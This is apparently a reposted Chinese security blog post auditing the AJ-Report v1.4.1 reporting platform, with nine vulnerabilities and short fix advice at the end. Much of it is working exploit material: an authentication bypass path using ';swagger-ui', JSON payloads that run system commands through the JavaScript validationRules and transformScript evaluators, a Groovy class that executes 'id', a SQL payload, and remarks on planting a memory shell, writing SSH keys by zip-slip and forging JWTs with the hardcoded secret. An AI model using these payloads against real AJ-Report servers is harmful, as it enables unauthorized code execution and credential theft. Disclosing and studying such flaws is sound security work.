微信公众号：黑伞安全
关注可了解更多的网络安全技术分享。如有问题或建议，请公众号留言;
如果你觉得挖不到src漏洞，希望黑伞安全知识星球对你有帮助，欢迎加入[1]
内容目录
aj-report 二次就业0x01 filter 绕过0x02 sql 信息泄漏0x03 js执行命令0x04 validationRules 命令执行0x05 zip-slip0x06 大屏分享信息泄漏0x07 java代码执行0x08 jwt 绕过登录0x09 sql问题修复意见
aj-report 二次就业
最新先知有人发了aj-report文章，看了看，是一个filter绕过，还有jwt，竟然还没修,这是两年前发表的AJ-Report_RCE。aj-report是我两年前学习代码审计审计的第一套代码，那时候藏了一些洞没写，所以现在重新看一看。环境v1.4.1。
0x01 filter 绕过
com.anjiplus.template.gaea.business.filter.TokenFilter.java
解释
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
String uri = request.getRequestURI();// TODO 暂时先不校验 直接放行
/*if (true) {
filterChain.doFilter(request, response);
return;
}*///OPTIONS直接放行
if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
filterChain.doFilter(request, response);
return;
}// swagger相关的直接放行
if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
filterChain.doFilter(request, response);
return;
}
bypass payload
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
这获取了URL，然后判断是否包含“swagger-ui”或着”swagger-resources”，包含直接放行。
没什么好说的，鉴权绕过。
0x02 sql 信息泄漏
com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList
解释
@GetMapping({"/pageList"})
@Permission(
code = "query",
name = "查询"
)
@GaeaAuditLog(
pageTitle = "查询",
isSaveResponseData = false
)
public ResponseBean pageList(P param) {
IPage<T> iPage = this.getService().page(param);
List<T> records = iPage.getRecords();
List<D> list = GaeaBeanUtils.copyList(records, this.getDTO().getClass());
this.pageResultHandler(list);
Page<D> pageDto = new Page();
pageDto.setCurrent(iPage.getCurrent()).setRecords(list).setPages(iPage.getPages()).setTotal(iPage.getTotal()).setSize(iPage.getSize());
return this.responseSuccessWithData(pageDto);
}
直接查询dataSource的信息，然后把Dto信息全部直接放回，造成泄漏
public Page<T> setRecords(List<T> records) {
this.records = records;
return this;}
protected List<T> records;
Dto里面存在Collections集合，直接把配置信息放回出来。
结合一下，可以拿到数据库账号密码
/;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10
0x03 js执行命令
参考两年前发表的AJ-Report_RCE，(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w）
没有修复。
第一个点 （validationRules参数校验点）
com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
boolean verification = dataSetParamService.verification(dto.getDataSetParamDtoList(), null);
if (!verification) {
throw BusinessExceptionBuilder.build(ResponseCode.RULE_FIELDS_CHECK_ERROR);
}
看方法实现
public Object verification(DataSetParamDto dataSetParamDto) { String validationRules = dataSetParamDto.getValidationRules();
if (StringUtils.isNotBlank(validationRules)) {
try {
engine.eval(validationRules);
if(engine instanceof Invocable){
Invocable invocable = (Invocable) engine;
Object exec = invocable.invokeFunction("verification", dataSetParamDto);
ObjectMapper objectMapper = new ObjectMapper();
if (exec instanceof Boolean) {
return objectMapper.convertValue(exec, Boolean.class);
}else {
return objectMapper.convertValue(exec, String.class);
}
}
然后执行。
第二个点（js脚本）
com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.JsTransformServiceImpl#getValueFromJs.java
public List<JSONObject> transform(DataSetTransformDto def, List<JSONObject> data) {
return getValueFromJs(def,data);
} private List<JSONObject> getValueFromJs(DataSetTransformDto def, List<JSONObject> data) {
String js = def.getTransformScript();
try {
engine.eval(js);
if(engine instanceof Invocable){
Invocable invocable = (Invocable) engine;
Object dataTransform = invocable.invokeFunction("dataTransform", data);
if (dataTransform instanceof List) {
return (List<JSONObject>) dataTransform;
}
//前端js自定义的数组[{"aa":"bb"}]解析后变成{"0":{"aa":"bb"}}
ScriptObjectMirror scriptObjectMirror = (ScriptObjectMirror) dataTransform;
List<JSONObject> result = new ArrayList<>();
scriptObjectMirror.forEach((key, value) -> {
ScriptObjectMirror valueObject = (ScriptObjectMirror) value;
JSONObject jsonObject = new JSONObject();
jsonObject.putAll(valueObject);
result.add(jsonObject);
});
return result;
}
这里两个地方都可以，也根本不用绕过。
poc:
{"dynSentence": "{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTransform\",\"method\":\"GET\",\"header\":\"{\\\"Content-Type\\\":\\\"application/json;charset=UTF-8\\\"}\",\"body\":\"\"}","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":2,"validationRules":"function dataTransform(){\nvar x=java.lang.Runtime.getRuntime().exec(\"open -a calculator\")\n}"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"http"}
0x04 validationRules 命令执行
com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verification.java
@PostMapping("/verification")
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
DataSetParamDto dto = new DataSetParamDto();
dto.setSampleItem(param.getSampleItem());
dto.setValidationRules(param.getValidationRules());
return responseSuccessWithData(dataSetParamService.verification(dto));
}
其实看上面就知道，js的规则，然后走到eval。
com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto)
对应实现类，有绕过，套娃就行。
dto里面设置validationRules就行。
{"sampleItem":"1","validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"}
0x05 zip-slip
com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard.java
@PostMapping("/import/{reportCode}")
@Permission(code = "import", name = "导入大屏")
public ResponseBean importDashboard(@RequestParam("file") MultipartFile file, @PathVariable("reportCode") String reportCode) {
reportDashboardService.importDashboard(file, reportCode);
return ResponseBean.builder().build();
}
对应的controller，传file流和code就好
com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard 实现类
public void importDashboard(MultipartFile file, String reportCode) {
log.info("导入开始,{}", reportCode);
//1.组装临时目录,/app/disk/upload/zip/临时文件夹
String path = dictPath + ZIP_PATH + UuidUtil.generateShortUuid();
//2.解压
FileUtil.decompress(file, path);
// path/uuid/
File parentPath = new File(path);
//获取打包的第一层目录
File firstFile = parentPath.listFiles()[0];File[] files = firstFile.listFiles();
//定义map
Map<String, String> fileMap = new HashMap<>();
String content = "";for (int i = 0; i < files.length; i++) {
File childFile = files[i];
if (JSON_PATH.equals(childFile.getName())) {
//json文件
content = FileUtil.readFile(childFile);
} else if ("image".equals(childFile.getName())) {
File[] imageFiles = childFile.listFiles();
//所有需要上传的图片
for (File imageFile : imageFiles) {
//查看是否存在此image
String fileName = imageFile.getName().split("\\.")[0];
//根据fileId，从gaea_file中读出filePath
LambdaQueryWrapper<GaeaFile> queryWrapper = Wrappers.lambdaQuery();
queryWrapper.eq(GaeaFile::getFileId, fileName);
GaeaFile gaeaFile = gaeaFileService.selectOne(queryWrapper);
String uploadPath;
if (null == gaeaFile) {
GaeaFile upload = gaeaFileService.upload(imageFile);
log.info("存入图片: {}", upload.getFilePath());
uploadPath = upload.getUrlPath();
}else {
uploadPath = gaeaFile.getUrlPath();
}
fileMap.put(fileName, uploadPath);
}
}}
public static void decompress(MultipartFile zipFile, String dstPath) {
try {
File dir = new File(dstPath);
if (!dir.exists()){
dir.mkdirs();
}
String path = dir.getPath();
String absolutePath = dir.getAbsolutePath();
File file = new File(dir.getAbsolutePath() + File.separator + zipFile.getOriginalFilename());
zipFile.transferTo(file);
decompress(new ZipFile(file), dstPath);
//解压完删除
file.delete();
} catch (IOException e) {
log.error("", e);
throw BusinessExceptionBuilder.build(ResponseCode.FILE_OPERATION_FAILED, e.getMessage());
}
}
没有的zipEntry进行../ 过滤，导致zip目录穿越。
然后ssh 指定私钥连接。
0x06 大屏分享信息泄漏
com.anjiplus.template.gaea.business.modules.reportshare.controller.ReportShareController#detailByCode
@GetMapping({"/detailByCode"})
@Permission(code = "detail", name = "明细")
public ResponseBean detailByCode(@RequestParam("shareCode") String shareCode) {
return ResponseBean.builder().data(reportShareService.detailByCode(shareCode)).build();
}
对象实现类
public ReportShare detailByCode(String shareCode) {
LambdaQueryWrapper<ReportShare> wrapper = Wrappers.lambdaQuery();
wrapper.eq(ReportShare::getShareCode, shareCode);
wrapper.eq(ReportShare::getEnableFlag, EnableFlagEnum.ENABLE.getCodeValue());
ReportShare reportShare = selectOne(wrapper);
if (null == reportShare) {
throw BusinessExceptionBuilder.build(ResponseCode.REPORT_SHARE_LINK_INVALID);
}
//解析jwt token，获取密码
String password = JwtUtil.getPassword(reportShare.getShareToken());
if (StringUtils.isNotBlank(password)) {
//md5加密返回
reportShare.setSharePassword(MD5Util.encrypt(password));
}
return reportShare;
}
根据shareCode可以获取到查询信息，然后加密后直接放回
jwt可以直接解密
直接可以获得分享密码。
0x07 java代码执行
还是数据集那个点，走java方式。
com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
对应实现类
com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.DataSetTransformServiceImpl#transform
com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.GroovyTransformServiceImpl#transform
最后会来到GroovyClassLoader，进行处理，也就是我们写一个类给GroovyClassLoader加载就好了
package com.anjiplus.template.gaea.business;import com.alibaba.fastjson.JSONObject;
import com.anjiplus.template.gaea.business.modules.datasettransform.service.IGroovyHandler;import java.io.IOException;
import java.lang.Runtime;
import java.util.Arrays;
import java.util.List;
import java.util.Scanner;public class test implements IGroovyHandler {
@Override
public List<String> transform(List<JSONObject> data) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
return Arrays.asList(execResult.split("\\s+"));
}
}
能写代码，那就打下内存马吧。
0x08 jwt 绕过登录
com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login
com.anji.plus.gaea.utils.JwtBean#createToken(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String)
com.anji.plus.gaea.GaeaProperties.Security#jwtSecret
这里密钥是写在依赖包下，无法修改
这一块得修改一下
jwt验证只校验用户名，这边key没法改，随便伪造
具体参考(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w）
0x09 sql问题
本质是没做用户权限校验，导致任何人都能操作，由于有filter绕过，就写出来吧
com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
还是这个点
从DTO里面获取参数，然后查询
{"sourceCode":"utf_8","dynSentence":"show DATABASES","dataSetParamDtoList":[],"dataSetTransformDtoList":[],"setType":"sql"}
也就是可以直接利用sql修改账号密码。
修复意见
接口健全缺失，主要靠filter，一些重要的接口，权限缺失，如/dataSource、/dataSet下的接口，匿名用户也可以操作，filter建议直接使用getServletPath()，或者重写一下。
jwt的认证密钥是写在依赖包里面，无法修改.
返回包里面的DTO，把敏感字段执行加密。
如有侵权请联系:admin#unsafe.sh